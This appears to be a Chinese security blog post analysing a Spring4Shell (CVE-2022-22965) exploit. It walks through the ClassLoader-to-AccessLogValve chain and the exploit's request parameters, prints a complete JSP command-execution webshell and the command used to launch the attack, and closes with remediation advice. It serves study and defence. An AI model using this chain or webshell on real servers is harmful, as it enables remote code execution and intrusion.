本文仅供合法授权的安全研究与学习使用,请勿用于非法用途。读者应确保行为符合当地法律法规。
前言
2022年3月底,Spring框架爆出了震惊整个Java安全圈的CVE-2022-22965漏洞,被业界称为”Spring4Shell”。这个漏洞利用了Spring框架参数绑定机制中的缺陷,通过精心构造的请求参数,攻击者可以操纵Tomcat底层日志配置,最终写入恶意JSP WebShell,实现远程代码执行。
作为一名安全研究人员,深入理解这个漏洞的利用链路对于防御类似攻击至关重要。本文将基于真实的EXP源码,从漏洞原理到代码实现,进行完整的剖析。
漏洞背景
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2022-22965 |
| 漏洞类型 | 远程代码执行(RCE) |
| CVSS评分 | 9.8(Critical) |
| 影响框架 | Spring Framework 5.3.0-5.3.17, 5.2.0-5.2.19 |
| 漏洞根因 | Spring MVC参数绑定机制允许访问ClassLoader内部属性 |
Spring框架的DataBinder机制会自动将HTTP请求参数绑定到Java对象属性上。当参数路径中包含class.module.classLoader时,Spring会递归地通过反射访问对象的ClassLoader属性链,最终触及Tomcat的WebappClassLoader。而Tomcat的ClassLoader内部持有AccessLogValve对象,攻击者可以通过修改日志配置,将日志输出为.jsp文件,并在日志内容中注入JSP代码,从而实现WebShell写入。
环境搭建
- 靶机环境:Spring Boot 2.5.x + 内嵌Tomcat 9.x,运行在JDK 9+环境中
- 攻击环境:Python 3.x + requests库
- 网络要求:攻击机可访问目标Web服务
JDK 9+是关键前提,因为JDK 9引入了模块系统(Module),使得class.getModule()方法可用,这是整个利用链的入口点。
POC/EXP实现思路
整个EXP的利用流程分为四个阶段:
- 重置日志变量:清除
fileDateFormat字段,允许多次执行漏洞利用 - 修改日志配置:通过POST请求注入恶意参数,设置日志文件的目录、文件名、后缀和内容模板
- 触发日志写入:发送GET请求,Tomcat记录访问日志时将恶意JSP代码写入文件
- 清理痕迹:重置日志pattern字段,防止后续日志继续写入恶意内容
EXP的核心在于构造参数绑定链:class.module.classLoader.resources.context.parent.pipeline.first,这条链从Spring的参数绑定出发,经由Java模块系统→ClassLoader→Tomcat内部资源→Context→Pipeline→AccessLogValve,最终到达Tomcat的访问日志阀门对象。
核心代码解析
请求头构造
1 | # 定义 POST 请求头,指定内容类型为表单数据 |
GET请求头中的prefix和suffix会被日志pattern中的%{prefix}i引用,最终在生成的JSP文件中拼接为<% ... %>的JSP代码块。c字段设为Runtime,对应payload中的%{c}i,将在JSP中被替换为Runtime字符串,用于调用Runtime.getRuntime().exec()。
恶意日志Pattern构造
1 | def run_exploit(url, directory, filename): |
URL解码后,这个pattern实际上是:
1 | %{prefix}i java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}i |
当Tomcat记录访问日志时,%{prefix}i会被替换为请求头中prefix的值<%,%{c}i替换为Runtime,%{suffix}i替换为%>//。最终写入日志文件的内容就是一段完整的JSP代码:
1 | <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %>// |
日志文件配置
1 | # 设置日志文件的后缀为 .jsp |
这四个参数分别控制AccessLogValve的:
- suffix:日志文件后缀,设为
.jsp使其被当作JSP执行 - directory:日志存储目录,默认指向
webapps/ROOT - prefix:日志文件名前缀,即WebShell的文件名
- fileDateFormat:日期格式后缀,清空以避免文件名中出现日期
利用执行流程
1 | # 重置 fileDateFormat,允许多次执行 |
整个利用流程发送三个HTTP请求:
- POST请求1:重置
fileDateFormat为_,防止Tomcat因文件已存在而拒绝写入 - POST请求2:一次性提交所有日志配置参数,修改日志文件的路径、名称、后缀和内容
- GET请求:携带恶意header访问目标,Tomcat将请求记录到日志中,由于日志文件后缀为
.jsp且内容包含JSP代码,WebShell即被创建
命令行参数
1 | parser = argparse.ArgumentParser(description='SpringBoot CVE-2022-22965 EXP') |
EXP支持三个参数:目标URL、WebShell文件名和写入目录。默认情况下,WebShell会被写入webapps/ROOT目录,即Tomcat的根Web应用目录。
漏洞验证与利用效果
执行以下命令发起攻击:
1 | python exploit.py --url http://target:8080 --file shell --dir webapps/ROOT |
输出结果:
1 | [*] 重置日志变量. |
访问http://target:8080/shell.jsp?cmd=id即可执行系统命令,成功验证RCE漏洞。
修复建议
- 升级Spring框架:升级至5.3.18+或5.2.20+版本,新版本已禁用
class.module的参数绑定 - 配置disallowedFields:在Controller中显式禁用危险字段:
1 |
|
- WAF防护:在Web应用防火墙中拦截包含
class.module.classLoader的请求参数 - 降级JDK:在不影响业务的前提下,使用JDK 8可以阻断
class.getModule()调用链
总结
Spring4Shell漏洞的精妙之处在于它将Spring的参数绑定机制与Tomcat的日志系统巧妙串联,形成了一条从HTTP请求参数到JSP WebShell写入的完整攻击链。通过分析这个EXP的实现,我们可以深刻理解Java框架中参数绑定安全的重要性。在实际安全评估中,检查应用是否存在未限制的参数绑定、是否暴露ClassLoader内部属性,是发现类似漏洞的关键。